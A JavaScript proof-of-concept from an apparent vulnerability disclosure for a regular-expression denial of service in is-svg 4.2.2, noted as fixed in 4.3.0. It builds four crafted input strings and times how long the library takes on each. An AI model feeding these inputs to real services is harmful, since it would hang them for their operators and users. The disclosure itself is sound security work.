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/**
* is-svg@4.2.2
* Package Manager: npm
* Link to published package: https://github.com/sindresorhus/is-svg
* Link to GitHub repo: https://github.com/sindresorhus/is-svg
* Severity level: High
* Module Description: Check if a string or buffer is SVG
* Additional Info: It allows cause a denial of service when checking crafted invalid SVG strings or buffers.
* Contacted maintainer?: Yes
* Open issue?: No
* Fixed: Yes
* https://github.com/sindresorhus/is-svg/releases/tag/v4.3.0
*/
//1) 1st ReDoS caused by the two sub-regexes [A-Z]+ and [^>]* in `removeDtdMarkupDeclarations`.
const isSvg = require('is-svg');
function build_attack1(n) {
var ret = '<!'
for (var i = 0; i < n; i++) {
ret += 'DOCTYPE'
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack1(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//2) 2nd ReDoS caused by ? the first sub-regex \s* in `entityRegex`.
function build_attack2(n) {
var ret = ''
for (var i = 0; i < n; i++) {
ret += ' '
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack2(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//3rd ReDoS caused by the sub-regex \s+\S*\s* in `entityRegex`.
function build_attack3(n) {
var ret = '<!Entity'
for (var i = 0; i < n; i++) {
ret += ' '
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack3(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//4th ReDoS caused by the sub-regex \S*\s*(?:"|')[^"]+ in `entityRegex`.
function build_attack4(n) {
var ret = '<!Entity '
for (var i = 0; i < n; i++) {
ret += '\''
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack4(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}